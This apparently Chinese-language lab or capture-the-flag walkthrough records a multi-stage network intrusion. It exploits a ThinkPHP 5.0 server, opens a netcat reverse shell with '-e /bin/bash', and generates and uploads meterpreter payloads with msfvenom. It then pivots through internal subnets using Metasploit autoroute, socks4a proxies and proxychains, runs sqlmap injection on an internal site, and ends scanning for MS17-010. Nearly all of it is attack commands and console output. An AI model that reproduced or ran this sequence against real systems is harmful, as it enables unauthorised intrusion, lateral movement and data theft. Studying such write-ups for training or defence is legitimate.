nmap扫描

nmap -sV -p1-65535 192.168.1.135

thinkphp5.0版本

找到poc进行测试

反弹kali

nc 192.168.1.104 6666 -e /bin/bash

kali获取bash

python -c 'import pty;pty.spawn("/bin/bash")'

flag

msf生成木马

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.128 LPORT=1234 -f elf >1.elf

蚁剑上传

chmod 777 1.elf

./elf

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/reverse_tcp

msf5 exploit(multi/handler) > set lhost 192.168.1.128

获取当前的网段

run get_local_subnets

添加理由

run autoroute -s 192.168.22.0/24

run autoroute -p

内网扫描

msf5 exploit(multi/handler) > use auxiliary/scanner/portscan/tcp

msf5 auxiliary(scanner/portscan/tcp) > set ports 22,389,80,21,3389

msf5 auxiliary(scanner/portscan/tcp) > set rhosts 192.168.22.0/24

msf5 auxiliary(scanner/portscan/tcp) > set lhost 192.168.1.128

设置socks4a代理

msf5 auxiliary(scanner/portscan/tcp) > use auxiliary/server/socks4a

msf5 auxiliary(server/socks4a) > set srvport 2222

srvport => 2222

msf5 auxiliary(server/socks4a) > run

[*] Auxiliary module running as background job 0.

[*] Starting the socks4a proxy server

msf5 auxiliary(server/socks4a) >

修改proxychains

vim /etc/proxychains.conf

socks4 192.168.1.128 2222

proxychains nmap -Pn -sT 192.168.22.129

-Pn：扫描主机检测其是否受到数据包过滤软件或防火墙的保护。

-sT：扫描TCP数据包已建立的连接connect

代理打开80网站

proxychains dirb http://192.168.22.129

注入

proxychains sqlmap -u “http://192.168.22.129/index.php?r=vul&keyword=1” -p keyword

proxychains sqlmap -u “http://192.168.22.129/index.php?r=vul&keyword=1” -p keyword --dbs

登录后台

设置proxifier

msf生成木马

msfvenom -p linux/x64/meterpreter/bind_tcp LPORT=432 -f elf > 5.elf

这次代理使用的bindtcp是Target2作为监听

proxychains msfconsole

msf5 > use exploit/multi/handler

msf5 exploit(multi/handler) > set payload linux/x64/meterpreter/bind_tcp

msf5 exploit(multi/handler) > set lhost 192.168.1.128

msf5 exploit(multi/handler) > set lport 432

msf5 exploit(multi/handler) > run

获取当前网段

run get_local_subnets

添加路由

run autoroute -s 192.168.33.0/24

run autoroute -p

msf5 auxiliary(scanner/portscan/tcp) > use auxiliary/server/socks4a

msf5 auxiliary(server/socks4a) > set srvport 2223

srvport => 2223

msf5 auxiliary(server/socks4a) > run

[*] Auxiliary module running as background job 2.

[*] Starting the socks4a proxy server

修改proxychains

vim /etc/proxychains.conf

socks4 127.0.0.1 2223

探测33网段

use auxiliary/scanner/portscan/tcp

msf5 auxiliary(scanner/portscan/tcp) > set ports 22,389,80,21,3389

msf5 auxiliary(scanner/portscan/tcp) > set rhosts 192.168.22.0/24

msf5 auxiliary(scanner/portscan/tcp) > set lhost 192.168.1.128

端口扫描

proxychains nmap -Pn -sT 192.168.33.33

开放了445和3389端口

auxiliary/scanner/smb/smb_version

msf5 auxiliary(scanner/smb/smb_version) > use auxiliary/scanner/smb/smb_ms17_010

msf5 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.33.33
